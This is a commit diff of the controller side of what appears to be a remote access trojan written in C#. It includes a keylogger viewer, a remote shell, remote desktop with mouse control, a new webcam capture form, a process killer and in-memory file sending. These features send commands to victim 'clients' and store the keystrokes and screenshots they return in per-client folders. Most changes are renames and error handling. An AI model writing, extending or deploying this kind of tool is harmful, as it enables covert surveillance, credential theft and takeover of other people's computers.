BAABPwYAAf4DAAEPAf8B8AQAAQcB/gQAAT8GAAH+AwABHwH/AfAEAAEHAf4EAAF/BgAB/gIAAQcC/wHw Af8B8AQAAQcB/gQAAT8GAAH+AwABDwH/AfAEAAEHAf4EAAE/BgAB/gMAAQ8B/wHwBAABBwH+BAABPwYA
BAABBwH+BAABfwYAAf4BBwT/AfAEAAEHAf8BgAIAAQEB/wYAAf4BDwT/AfgEAAEPBv8GAAb/AfwEAAE/ Af4DAAEfAf8B8AQAAQcB/gQAAX8GAAH+AgABBwL/AfAEAAEHAf4EAAF/BgAB/gEHBP8B8AQAAQcB/wGA
Bv8GABL/BgAL AgABAQH/BgAB/gEPBP8B+AQAAQ8G/wYABv8B/AQAAT8G/wYAEv8GAAs=
</value> </value>
</data> </data>
<metadata name="statusStrip1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"> <metadata name="statusStrip1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">

View File

@ -92,6 +92,7 @@
// //
this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.richTextBox1.Dock = System.Windows.Forms.DockStyle.Fill; this.richTextBox1.Dock = System.Windows.Forms.DockStyle.Fill;
this.richTextBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.richTextBox1.Location = new System.Drawing.Point(0, 34); this.richTextBox1.Location = new System.Drawing.Point(0, 34);
this.richTextBox1.Name = "richTextBox1"; this.richTextBox1.Name = "richTextBox1";
this.richTextBox1.ReadOnly = true; this.richTextBox1.ReadOnly = true;

View File

@ -1,5 +1,5 @@
using Server.MessagePack; using Server.MessagePack;
using Server.Sockets; using Server.Connection;
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.ComponentModel; using System.ComponentModel;
@ -22,21 +22,25 @@ namespace Server.Forms
} }
public Form1 F { get; set; } public Form1 F { get; set; }
internal Clients C { get; set; } internal Clients Client { get; set; }
public StringBuilder SB = new StringBuilder(); public StringBuilder Sb = new StringBuilder();
private void Timer1_Tick(object sender, EventArgs e) private void Timer1_Tick(object sender, EventArgs e)
{ {
if (!C.ClientSocket.Connected) this.Close(); try
{
if (!Client.TcpClient.Connected) this.Close();
}
catch { this.Close(); }
} }
private void Keylogger_FormClosed(object sender, FormClosedEventArgs e) private void Keylogger_FormClosed(object sender, FormClosedEventArgs e)
{ {
SB?.Clear(); Sb?.Clear();
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "keyLogger"; msgpack.ForcePathObject("Packet").AsString = "keyLogger";
msgpack.ForcePathObject("isON").AsString = "false"; msgpack.ForcePathObject("isON").AsString = "false";
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
} }
private void ToolStripTextBox1_KeyDown(object sender, KeyEventArgs e) private void ToolStripTextBox1_KeyDown(object sender, KeyEventArgs e)
@ -67,7 +71,7 @@ namespace Server.Forms
{ {
try try
{ {
string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + C.ID + "\\Keylogger"); string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + Client.ID + "\\Keylogger");
if (!Directory.Exists(fullPath)) if (!Directory.Exists(fullPath))
Directory.CreateDirectory(fullPath); Directory.CreateDirectory(fullPath);
File.WriteAllText(fullPath + $"\\Keylogger_{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}.txt", richTextBox1.Text.Replace("\n", Environment.NewLine)); File.WriteAllText(fullPath + $"\\Keylogger_{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}.txt", richTextBox1.Text.Replace("\n", Environment.NewLine));

View File

@ -9,23 +9,28 @@ using System.Threading;
using System.Threading.Tasks; using System.Threading.Tasks;
using System.Windows.Forms; using System.Windows.Forms;
using Server.MessagePack; using Server.MessagePack;
using Server.Sockets; using Server.Connection;
namespace Server.Forms namespace Server.Forms
{ {
public partial class FormProcessManager : Form public partial class FormProcessManager : Form
{ {
public Form1 F { get; set; }
internal Clients Client { get; set; }
public FormProcessManager() public FormProcessManager()
{ {
InitializeComponent(); InitializeComponent();
} }
public Form1 F { get; set; }
internal Clients C { get; set; }
private void timer1_Tick(object sender, EventArgs e) private void timer1_Tick(object sender, EventArgs e)
{ {
if (!C.ClientSocket.Connected) this.Close(); try
{
if (!Client.TcpClient.Connected) this.Close();
}
catch { this.Close(); }
} }
private async void killToolStripMenuItem_Click(object sender, EventArgs e) private async void killToolStripMenuItem_Click(object sender, EventArgs e)
@ -40,7 +45,7 @@ namespace Server.Forms
msgpack.ForcePathObject("Packet").AsString = "processManager"; msgpack.ForcePathObject("Packet").AsString = "processManager";
msgpack.ForcePathObject("Option").AsString = "Kill"; msgpack.ForcePathObject("Option").AsString = "Kill";
msgpack.ForcePathObject("ID").AsString = P.SubItems[lv_id.Index].Text; msgpack.ForcePathObject("ID").AsString = P.SubItems[lv_id.Index].Text;
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
}); });
} }
} }
@ -53,7 +58,7 @@ namespace Server.Forms
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "processManager"; msgpack.ForcePathObject("Packet").AsString = "processManager";
msgpack.ForcePathObject("Option").AsString = "List"; msgpack.ForcePathObject("Option").AsString = "List";
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
}); });
} }
} }

View File

@ -42,6 +42,7 @@
this.button1 = new System.Windows.Forms.Button(); this.button1 = new System.Windows.Forms.Button();
this.button2 = new System.Windows.Forms.Button(); this.button2 = new System.Windows.Forms.Button();
this.timerSave = new System.Windows.Forms.Timer(this.components); this.timerSave = new System.Windows.Forms.Timer(this.components);
this.labelWait = new System.Windows.Forms.Label();
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
this.panel1.SuspendLayout(); this.panel1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).BeginInit();
@ -164,7 +165,7 @@
this.numericUpDown1.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; this.numericUpDown1.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
this.numericUpDown1.UpDownAlign = System.Windows.Forms.LeftRightAlignment.Left; this.numericUpDown1.UpDownAlign = System.Windows.Forms.LeftRightAlignment.Left;
this.numericUpDown1.Value = new decimal(new int[] { this.numericUpDown1.Value = new decimal(new int[] {
60, 30,
0, 0,
0, 0,
0}); 0});
@ -198,11 +199,22 @@
this.timerSave.Interval = 1500; this.timerSave.Interval = 1500;
this.timerSave.Tick += new System.EventHandler(this.TimerSave_Tick); this.timerSave.Tick += new System.EventHandler(this.TimerSave_Tick);
// //
// labelWait
//
this.labelWait.AutoSize = true;
this.labelWait.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F);
this.labelWait.Location = new System.Drawing.Point(376, 222);
this.labelWait.Name = "labelWait";
this.labelWait.Size = new System.Drawing.Size(78, 29);
this.labelWait.TabIndex = 3;
this.labelWait.Text = "Wait...";
//
// FormRemoteDesktop // FormRemoteDesktop
// //
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(938, 485); this.ClientSize = new System.Drawing.Size(938, 485);
this.Controls.Add(this.labelWait);
this.Controls.Add(this.button2); this.Controls.Add(this.button2);
this.Controls.Add(this.panel1); this.Controls.Add(this.panel1);
this.Controls.Add(this.pictureBox1); this.Controls.Add(this.pictureBox1);
@ -210,6 +222,7 @@
this.MinimumSize = new System.Drawing.Size(655, 440); this.MinimumSize = new System.Drawing.Size(655, 440);
this.Name = "FormRemoteDesktop"; this.Name = "FormRemoteDesktop";
this.Text = "RemoteDesktop"; this.Text = "RemoteDesktop";
this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FormRemoteDesktop_FormClosed);
this.Load += new System.EventHandler(this.FormRemoteDesktop_Load); this.Load += new System.EventHandler(this.FormRemoteDesktop_Load);
this.ResizeEnd += new System.EventHandler(this.FormRemoteDesktop_ResizeEnd); this.ResizeEnd += new System.EventHandler(this.FormRemoteDesktop_ResizeEnd);
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
@ -218,6 +231,7 @@
((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).EndInit();
this.ResumeLayout(false); this.ResumeLayout(false);
this.PerformLayout();
} }
@ -235,5 +249,6 @@
private System.Windows.Forms.Button btnSave; private System.Windows.Forms.Button btnSave;
private System.Windows.Forms.Timer timerSave; private System.Windows.Forms.Timer timerSave;
private System.Windows.Forms.Button btnMouse; private System.Windows.Forms.Button btnMouse;
public System.Windows.Forms.Label labelWait;
} }
} }

View File

@ -10,7 +10,7 @@ using System.Linq;
using System.Text; using System.Text;
using System.Threading.Tasks; using System.Threading.Tasks;
using System.Windows.Forms; using System.Windows.Forms;
using Server.Sockets; using Server.Connection;
using Server.MessagePack; using Server.MessagePack;
using System.Threading; using System.Threading;
using System.Drawing.Imaging; using System.Drawing.Imaging;
@ -21,24 +21,32 @@ namespace Server.Forms
{ {
public partial class FormRemoteDesktop : Form public partial class FormRemoteDesktop : Form
{ {
public FormRemoteDesktop()
{
InitializeComponent();
}
public Form1 F { get; set; } public Form1 F { get; set; }
internal Clients C { get; set; } internal Clients ParentClient { get; set; }
internal Clients C2 { get; set; } internal Clients Client { get; set; }
public bool Active { get; set; } public string FullPath { get; set; }
public int FPS = 0; public int FPS = 0;
public Stopwatch sw = Stopwatch.StartNew(); public Stopwatch sw = Stopwatch.StartNew();
public Stopwatch RenderSW = Stopwatch.StartNew(); public Stopwatch RenderSW = Stopwatch.StartNew();
public IUnsafeCodec decoder = new UnsafeStreamCodec(60); public IUnsafeCodec decoder = new UnsafeStreamCodec(60);
public Size rdSize; public Size rdSize;
private bool isMouse = false; private bool isMouse = false;
public FormRemoteDesktop()
{
InitializeComponent();
}
private void timer1_Tick(object sender, EventArgs e) private void timer1_Tick(object sender, EventArgs e)
{ {
if (!C.ClientSocket.Connected) this.Close(); try
{
if (!ParentClient.TcpClient.Connected) this.Close();
}
catch { this.Close(); }
} }
private void Button2_Click(object sender, EventArgs e) private void Button2_Click(object sender, EventArgs e)
@ -79,7 +87,7 @@ namespace Server.Forms
msgpack.ForcePathObject("Quality").AsInteger = Convert.ToInt32(numericUpDown1.Value.ToString()); msgpack.ForcePathObject("Quality").AsInteger = Convert.ToInt32(numericUpDown1.Value.ToString());
msgpack.ForcePathObject("Screen").AsInteger = Convert.ToInt32(numericUpDown2.Value.ToString()); msgpack.ForcePathObject("Screen").AsInteger = Convert.ToInt32(numericUpDown2.Value.ToString());
decoder = new UnsafeStreamCodec(Convert.ToInt32(numericUpDown1.Value)); decoder = new UnsafeStreamCodec(Convert.ToInt32(numericUpDown1.Value));
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(ParentClient.Send, msgpack.Encode2Bytes());
numericUpDown1.Enabled = false; numericUpDown1.Enabled = false;
numericUpDown2.Enabled = false; numericUpDown2.Enabled = false;
button1.Tag = (object)"stop"; button1.Tag = (object)"stop";
@ -90,8 +98,8 @@ namespace Server.Forms
button1.Tag = (object)"play"; button1.Tag = (object)"play";
try try
{ {
C2.Disconnected(); Client.Disconnected();
C2 = null; Client = null;
} }
catch { } catch { }
numericUpDown1.Enabled = true; numericUpDown1.Enabled = true;
@ -120,10 +128,9 @@ namespace Server.Forms
btnSave.BackgroundImage = Properties.Resources.save_image2; btnSave.BackgroundImage = Properties.Resources.save_image2;
try try
{ {
string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + C.ID + "\\RemoteDesktop"); if (!Directory.Exists(FullPath))
if (!Directory.Exists(fullPath)) Directory.CreateDirectory(FullPath);
Directory.CreateDirectory(fullPath); Process.Start(FullPath);
Process.Start(fullPath);
} }
catch { } catch { }
} }
@ -134,15 +141,14 @@ namespace Server.Forms
{ {
try try
{ {
string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + C.ID + "\\RemoteDesktop"); if (!Directory.Exists(FullPath))
if (!Directory.Exists(fullPath)) Directory.CreateDirectory(FullPath);
Directory.CreateDirectory(fullPath);
Encoder myEncoder = Encoder.Quality; Encoder myEncoder = Encoder.Quality;
EncoderParameters myEncoderParameters = new EncoderParameters(1); EncoderParameters myEncoderParameters = new EncoderParameters(1);
EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, 50L); EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, 50L);
myEncoderParameters.Param[0] = myEncoderParameter; myEncoderParameters.Param[0] = myEncoderParameter;
ImageCodecInfo jpgEncoder = GetEncoder(ImageFormat.Jpeg); ImageCodecInfo jpgEncoder = GetEncoder(ImageFormat.Jpeg);
pictureBox1.Image.Save(fullPath + $"\\IMG_{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}.jpeg", jpgEncoder, myEncoderParameters); pictureBox1.Image.Save(FullPath + $"\\IMG_{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}.jpeg", jpgEncoder, myEncoderParameters);
myEncoderParameters?.Dispose(); myEncoderParameters?.Dispose();
myEncoderParameter?.Dispose(); myEncoderParameter?.Dispose();
} }
@ -181,7 +187,7 @@ namespace Server.Forms
msgpack.ForcePathObject("X").AsInteger = p.X; msgpack.ForcePathObject("X").AsInteger = p.X;
msgpack.ForcePathObject("Y").AsInteger = p.Y; msgpack.ForcePathObject("Y").AsInteger = p.Y;
msgpack.ForcePathObject("Button").AsInteger = button; msgpack.ForcePathObject("Button").AsInteger = button;
ThreadPool.QueueUserWorkItem(C2.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
} }
} }
catch { } catch { }
@ -206,7 +212,7 @@ namespace Server.Forms
msgpack.ForcePathObject("X").AsInteger = (Int32)(p.X); msgpack.ForcePathObject("X").AsInteger = (Int32)(p.X);
msgpack.ForcePathObject("Y").AsInteger = (Int32)(p.Y); msgpack.ForcePathObject("Y").AsInteger = (Int32)(p.Y);
msgpack.ForcePathObject("Button").AsInteger = (Int32)(button); msgpack.ForcePathObject("Button").AsInteger = (Int32)(button);
ThreadPool.QueueUserWorkItem(C2.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
} }
} }
catch { } catch { }
@ -224,7 +230,7 @@ namespace Server.Forms
msgpack.ForcePathObject("Option").AsString = "mouseMove"; msgpack.ForcePathObject("Option").AsString = "mouseMove";
msgpack.ForcePathObject("X").AsInteger = (Int32)(p.X); msgpack.ForcePathObject("X").AsInteger = (Int32)(p.X);
msgpack.ForcePathObject("Y").AsInteger = (Int32)(p.Y); msgpack.ForcePathObject("Y").AsInteger = (Int32)(p.Y);
ThreadPool.QueueUserWorkItem(C2.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
} }
} }
catch { } catch { }
@ -243,5 +249,14 @@ namespace Server.Forms
btnMouse.BackgroundImage = Properties.Resources.mouse_enable; btnMouse.BackgroundImage = Properties.Resources.mouse_enable;
} }
} }
private void FormRemoteDesktop_FormClosed(object sender, FormClosedEventArgs e)
{
try
{
Client?.Disconnected();
}
catch { }
}
} }
} }

View File

@ -123,6 +123,9 @@
<metadata name="timerSave.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"> <metadata name="timerSave.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>131, 17</value> <value>131, 17</value>
</metadata> </metadata>
<metadata name="timerPic.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>273, 17</value>
</metadata>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" /> <assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64"> <data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value> <value>

View File

@ -15,7 +15,7 @@ namespace Server
{ {
public partial class FormSendFileToMemory : Form public partial class FormSendFileToMemory : Form
{ {
public bool isOK = false; public bool IsOK = false;
public FormSendFileToMemory() public FormSendFileToMemory()
{ {
InitializeComponent(); InitializeComponent();
@ -54,19 +54,19 @@ namespace Server
toolStripStatusLabel1.Text = Path.GetFileName(O.FileName); toolStripStatusLabel1.Text = Path.GetFileName(O.FileName);
toolStripStatusLabel1.Tag = O.FileName; toolStripStatusLabel1.Tag = O.FileName;
toolStripStatusLabel1.ForeColor = Color.Green; toolStripStatusLabel1.ForeColor = Color.Green;
isOK = true; IsOK = true;
if (comboBox1.SelectedIndex == 0) if (comboBox1.SelectedIndex == 0)
{ {
try try
{ {
new ReferenceLoader().AppDomainSetup(O.FileName); new ReferenceLoader().AppDomainSetup(O.FileName);
isOK = true; IsOK = true;
} }
catch catch
{ {
toolStripStatusLabel1.ForeColor = Color.Red; toolStripStatusLabel1.ForeColor = Color.Red;
toolStripStatusLabel1.Text += " Invalid!"; toolStripStatusLabel1.Text += " Invalid!";
isOK = false; IsOK = false;
} }
} }
} }
@ -74,20 +74,20 @@ namespace Server
{ {
toolStripStatusLabel1.Text = ""; toolStripStatusLabel1.Text = "";
toolStripStatusLabel1.ForeColor = Color.Black; toolStripStatusLabel1.ForeColor = Color.Black;
isOK = true; IsOK = true;
} }
} }
private void button2_Click(object sender, EventArgs e) private void button2_Click(object sender, EventArgs e)
{ {
if (isOK) if (IsOK)
this.Hide(); this.Hide();
} }
private void Button3_Click(object sender, EventArgs e) private void Button3_Click(object sender, EventArgs e)
{ {
isOK = false; IsOK = false;
this.Hide(); this.Hide();
} }
} }

View File

@ -1,5 +1,5 @@
using Server.MessagePack; using Server.MessagePack;
using Server.Sockets; using Server.Connection;
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.ComponentModel; using System.ComponentModel;
@ -17,7 +17,7 @@ namespace Server.Forms
public partial class FormShell : Form public partial class FormShell : Form
{ {
public Form1 F { get; set; } public Form1 F { get; set; }
internal Clients C { get; set; } internal Clients Client { get; set; }
public FormShell() public FormShell()
{ {
@ -41,7 +41,7 @@ namespace Server.Forms
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "shellWriteInput"; msgpack.ForcePathObject("Packet").AsString = "shellWriteInput";
msgpack.ForcePathObject("WriteInput").AsString = textBox1.Text; msgpack.ForcePathObject("WriteInput").AsString = textBox1.Text;
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
textBox1.Clear(); textBox1.Clear();
} }
} }
@ -51,12 +51,16 @@ namespace Server.Forms
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "shellWriteInput"; msgpack.ForcePathObject("Packet").AsString = "shellWriteInput";
msgpack.ForcePathObject("WriteInput").AsString = "exit"; msgpack.ForcePathObject("WriteInput").AsString = "exit";
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
} }
private void Timer1_Tick(object sender, EventArgs e) private void Timer1_Tick(object sender, EventArgs e)
{ {
if (!C.ClientSocket.Connected) this.Close(); try
{
if (!Client.TcpClient.Connected) this.Close();
}
catch { this.Close(); }
} }
private void Label1_Click(object sender, EventArgs e) private void Label1_Click(object sender, EventArgs e)

View File

@ -1,5 +1,5 @@
using Server.MessagePack; using Server.MessagePack;
using Server.Sockets; using Server.Connection;
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.ComponentModel; using System.ComponentModel;
@ -16,7 +16,7 @@ namespace Server.Forms
{ {
public partial class FormTorrent : Form public partial class FormTorrent : Form
{ {
private bool isOk = false; private bool IsOk = false;
public FormTorrent() public FormTorrent()
{ {
InitializeComponent(); InitializeComponent();
@ -29,12 +29,12 @@ namespace Server.Forms
if (openFileDialog.ShowDialog() == DialogResult.OK) if (openFileDialog.ShowDialog() == DialogResult.OK)
{ {
textBox1.Text = openFileDialog.FileName; textBox1.Text = openFileDialog.FileName;
isOk = true; IsOk = true;
} }
else else
{ {
textBox1.Text = ""; textBox1.Text = "";
isOk = false; IsOk = false;
} }
} }
@ -45,7 +45,9 @@ namespace Server.Forms
private void Button2_Click(object sender, EventArgs e) private void Button2_Click(object sender, EventArgs e)
{ {
if (!isOk) return; try
{
if (!IsOk) return;
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "torrent"; msgpack.ForcePathObject("Packet").AsString = "torrent";
msgpack.ForcePathObject("Option").AsString = "seed"; msgpack.ForcePathObject("Option").AsString = "seed";
@ -57,5 +59,7 @@ namespace Server.Forms
} }
this.Close(); this.Close();
} }
catch (Exception ex) { MessageBox.Show(ex.Message); }
}
} }
} }

View File

@ -0,0 +1,195 @@
namespace Server.Forms
{
partial class FormWebcam
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormWebcam));
this.panel1 = new System.Windows.Forms.Panel();
this.comboBox1 = new System.Windows.Forms.ComboBox();
this.btnSave = new System.Windows.Forms.Button();
this.button1 = new System.Windows.Forms.Button();
this.pictureBox1 = new System.Windows.Forms.PictureBox();
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.timerSave = new System.Windows.Forms.Timer(this.components);
this.labelWait = new System.Windows.Forms.Label();
this.label1 = new System.Windows.Forms.Label();
this.numericUpDown1 = new System.Windows.Forms.NumericUpDown();
this.panel1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).BeginInit();
this.SuspendLayout();
//
// panel1
//
this.panel1.BackColor = System.Drawing.Color.Transparent;
this.panel1.Controls.Add(this.label1);
this.panel1.Controls.Add(this.numericUpDown1);
this.panel1.Controls.Add(this.comboBox1);
this.panel1.Controls.Add(this.btnSave);
this.panel1.Controls.Add(this.button1);
this.panel1.Dock = System.Windows.Forms.DockStyle.Top;
this.panel1.Location = new System.Drawing.Point(0, 0);
this.panel1.Name = "panel1";
this.panel1.Size = new System.Drawing.Size(799, 41);
this.panel1.TabIndex = 3;
//
// comboBox1
//
this.comboBox1.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;
this.comboBox1.Enabled = false;
this.comboBox1.FormattingEnabled = true;
this.comboBox1.Location = new System.Drawing.Point(71, 7);
this.comboBox1.Name = "comboBox1";
this.comboBox1.Size = new System.Drawing.Size(272, 28);
this.comboBox1.TabIndex = 6;
//
// btnSave
//
this.btnSave.BackgroundImage = global::Server.Properties.Resources.save_image;
this.btnSave.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.btnSave.Enabled = false;
this.btnSave.Location = new System.Drawing.Point(568, 4);
this.btnSave.Name = "btnSave";
this.btnSave.Size = new System.Drawing.Size(32, 32);
this.btnSave.TabIndex = 5;
this.btnSave.UseVisualStyleBackColor = true;
this.btnSave.Click += new System.EventHandler(this.BtnSave_Click);
//
// button1
//
this.button1.BackgroundImage = global::Server.Properties.Resources.play_button;
this.button1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.button1.Enabled = false;
this.button1.Location = new System.Drawing.Point(12, 4);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(32, 32);
this.button1.TabIndex = 0;
this.button1.Tag = "play";
this.button1.UseVisualStyleBackColor = true;
this.button1.Click += new System.EventHandler(this.Button1_Click);
//
// pictureBox1
//
this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill;
this.pictureBox1.Location = new System.Drawing.Point(0, 41);
this.pictureBox1.Name = "pictureBox1";
this.pictureBox1.Size = new System.Drawing.Size(799, 532);
this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
this.pictureBox1.TabIndex = 5;
this.pictureBox1.TabStop = false;
//
// timer1
//
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(this.Timer1_Tick);
//
// timerSave
//
this.timerSave.Interval = 1000;
this.timerSave.Tick += new System.EventHandler(this.TimerSave_Tick);
//
// labelWait
//
this.labelWait.AutoSize = true;
this.labelWait.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.labelWait.Location = new System.Drawing.Point(319, 273);
this.labelWait.Name = "labelWait";
this.labelWait.Size = new System.Drawing.Size(78, 29);
this.labelWait.TabIndex = 6;
this.labelWait.Text = "Wait...";
//
// label1
//
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(374, 10);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(78, 20);
this.label1.TabIndex = 8;
this.label1.Text = "QUALITY";
//
// numericUpDown1
//
this.numericUpDown1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
this.numericUpDown1.Enabled = false;
this.numericUpDown1.Increment = new decimal(new int[] {
10,
0,
0,
0});
this.numericUpDown1.Location = new System.Drawing.Point(458, 8);
this.numericUpDown1.Minimum = new decimal(new int[] {
20,
0,
0,
0});
this.numericUpDown1.Name = "numericUpDown1";
this.numericUpDown1.Size = new System.Drawing.Size(82, 26);
this.numericUpDown1.TabIndex = 7;
this.numericUpDown1.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
this.numericUpDown1.UpDownAlign = System.Windows.Forms.LeftRightAlignment.Left;
this.numericUpDown1.Value = new decimal(new int[] {
50,
0,
0,
0});
//
// FormWebcam
//
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(799, 573);
this.Controls.Add(this.labelWait);
this.Controls.Add(this.pictureBox1);
this.Controls.Add(this.panel1);
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.Name = "FormWebcam";
this.Text = "FormWebcam";
this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FormWebcam_FormClosed);
this.panel1.ResumeLayout(false);
this.panel1.PerformLayout();
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).EndInit();
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.Panel panel1;
public System.Windows.Forms.ComboBox comboBox1;
public System.Windows.Forms.PictureBox pictureBox1;
public System.Windows.Forms.Button btnSave;
public System.Windows.Forms.Button button1;
public System.Windows.Forms.Timer timer1;
private System.Windows.Forms.Timer timerSave;
public System.Windows.Forms.Label labelWait;
private System.Windows.Forms.Label label1;
public System.Windows.Forms.NumericUpDown numericUpDown1;
}
}

View File

@ -0,0 +1,124 @@
using Server.MessagePack;
using Server.Connection;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Server.Forms
{
public partial class FormWebcam : Form
{
public Form1 F { get; set; }
internal Clients Client { get; set; }
internal Clients ParentClient { get; set; }
public string FullPath { get; set; }
public Stopwatch sw = Stopwatch.StartNew();
public Stopwatch RenderSW = Stopwatch.StartNew();
public int FPS = 0;
public bool SaveIt = false;
public FormWebcam()
{
InitializeComponent();
}
private void Button1_Click(object sender, EventArgs e)
{
try
{
